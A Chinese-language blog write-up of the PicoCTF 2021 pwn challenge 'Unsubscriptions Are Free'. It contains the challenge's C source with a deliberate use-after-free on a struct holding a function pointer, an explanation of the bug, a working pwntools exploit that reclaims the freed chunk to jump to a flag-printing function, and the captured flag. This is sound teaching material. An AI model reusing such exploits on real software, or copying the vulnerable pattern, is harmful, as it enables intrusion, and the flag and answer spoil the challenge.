[Pico CTF 2021]pwn-Unsubscriptions Are Free

selph
selph
发布于 2023-11-07 / 112 阅读
0
0

[Pico CTF 2021]pwn-Unsubscriptions Are Free

image

题目分析

给出了程序和源码

➜  pwn-Unsubscriptions Are Free pwn checksec vuln
[*] '/home/selph/Downloads/PicoCTF/pwn-Unsubscriptions Are Free/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <ctype.h>

#define FLAG_BUFFER 200
#define LINE_BUFFER_SIZE 20


typedef struct {
	uintptr_t (*whatToDo)();
	char *username;
} cmd;

char choice;
cmd *user;

// 后门函数,要想办法执行这个函数
void hahaexploitgobrrr(){
 	char buf[FLAG_BUFFER];
 	FILE *f = fopen("flag.txt","r");
 	fgets(buf,FLAG_BUFFER,f);
 	fprintf(stdout,"%s\n",buf);
 	fflush(stdout);
}

char * getsline(void) {
	getchar();
	char * line = malloc(100), * linep = line;
	size_t lenmax = 100, len = lenmax;
	int c;
	if(line == NULL)
		return NULL;
	for(;;) {
		c = fgetc(stdin);
		if(c == EOF)
			break;
		if(--len == 0) {
			len = lenmax;
			char * linen = realloc(linep, lenmax *= 2);

			if(linen == NULL) {
				free(linep);
				return NULL;
			}
			line = linen + (line - linep);
			linep = linen;
		}

		if((*line++ = c) == '\n')
			break;
	}
	*line = '\0';
	return linep;
}

void doProcess(cmd* obj) {
	(*obj->whatToDo)();
}

// 会打印后门函数的地址
void s(){
 	printf("OOP! Memory leak...%p\n",hahaexploitgobrrr);
 	puts("Thanks for subsribing! I really recommend becoming a premium member!");
}

void p(){
  	puts("Membership pending... (There's also a super-subscription you can also get for twice the price!)");
}

void m(){
	puts("Account created.");
}

void leaveMessage(){
	puts("I only read premium member messages but you can ");
	puts("try anyways:");
	char* msg = (char*)malloc(8);
	read(0, msg, 8);
}

void i(){
	char response;
  	puts("You're leaving already(Y/N)?");
	scanf(" %c", &response);
	if(toupper(response)=='Y'){
		puts("Bye!");
		free(user);	// UAF
	}else{
		puts("Ok. Get premium membership please!");
	}
}

void printMenu(){
 	puts("Welcome to my stream! ^W^");
 	puts("==========================");
 	puts("(S)ubscribe to my channel");
 	puts("(I)nquire about account deletion");
 	puts("(M)ake an Twixer account");
 	puts("(P)ay for premium membership");
	puts("(l)eave a message(with or without logging in)");
	puts("(e)xit");
}

// 处理输入
// 设置user->whatToDo为一个函数
void processInput(){
  scanf(" %c", &choice);
  choice = toupper(choice);
  switch(choice){
	case 'S':
	if(user){
 		user->whatToDo = (void*)s;
	}else{
		puts("Not logged in!");
	}
	break;
	case 'P':
	user->whatToDo = (void*)p;
	break;
	case 'I':
 	user->whatToDo = (void*)i;
	break;
	case 'M':
 	user->whatToDo = (void*)m;
	puts("===========================");
	puts("Registration: Welcome to Twixer!");
	puts("Enter your username: ");
	user->username = getsline();	// ?
	break;
   case 'L':
	leaveMessage();	// 写入8字节到堆内存
	break;
	case 'E':
	exit(0);
	default:
	puts("Invalid option!");
	exit(1);
	  break;
  }
}

// 32位,无PIE
// 找一个法子能劫持控制流
int main(){
	setbuf(stdout, NULL);
	user = (cmd *)malloc(sizeof(user));
	while(1){
		printMenu();
		processInput();
		//if(user){
			doProcess(user);
		//}
	}
	return 0;
}

这里的主程序是个死循环,在循环外头使用malloc申请了内存赋给user变量

i​选项中,释放了该内存,释放了之后,程序依然在循环内,其他操作依然会使用该内存指针访问内存,执行操作,存在UAF漏洞

该内存前4字节保存的是函数指针,只要修改其为后门函数即可完成利用

漏洞利用

这里的processInput​里,选项L​只是申请8字节内存,而不修改user内的东西

故在释放完user之后,执行L​选项,即可在释放的user内存上重新申请内存

32位的elf程序最小申请到的堆内存是12字节

完整exp:

#!/bin/python3
from pwn import *
FILE_NAME = "./vuln"
REMOTE_HOST = "mercury.picoctf.net"
REMOTE_PORT = 61817

elf = context.binary = ELF(FILE_NAME)
libc = elf.libc

gs = '''
continue
'''
def start():
    if args.REMOTE:
        return remote(REMOTE_HOST,REMOTE_PORT)
    if args.GDB:
        return gdb.debug(elf.path, gdbscript=gs)
    else:
        return process(elf.path)
# =======================================

io = start()

io.sendlineafter(b"(e)xit\n",b"i")
io.sendlineafter(b"You're leaving already(Y/N)?\n",b"Y")
io.sendlineafter(b"(e)xit\n",b"l")
io.sendlineafter(b"try anyways:\n",pack(0x80487D6))

运行结果:

➜  pwn-Unsubscriptions Are Free python3 exp.py REMOTE
Welcome to my stream! ^W^
==========================
(S)ubscribe to my channel
(I)nquire about account deletion
(M)ake an Twixer account
(P)ay for premium membership
(l)eave a message(with or without logging in)
(e)xit
You're leaving already(Y/N)?
Bye!
Welcome to my stream! ^W^
==========================
(S)ubscribe to my channel
(I)nquire about account deletion
(M)ake an Twixer account
(P)ay for premium membership
(l)eave a message(with or without logging in)
(e)xit
I only read premium member messages but you can 
try anyways:
picoCTF{d0ubl3_j30p4rdy_1e154727}


评论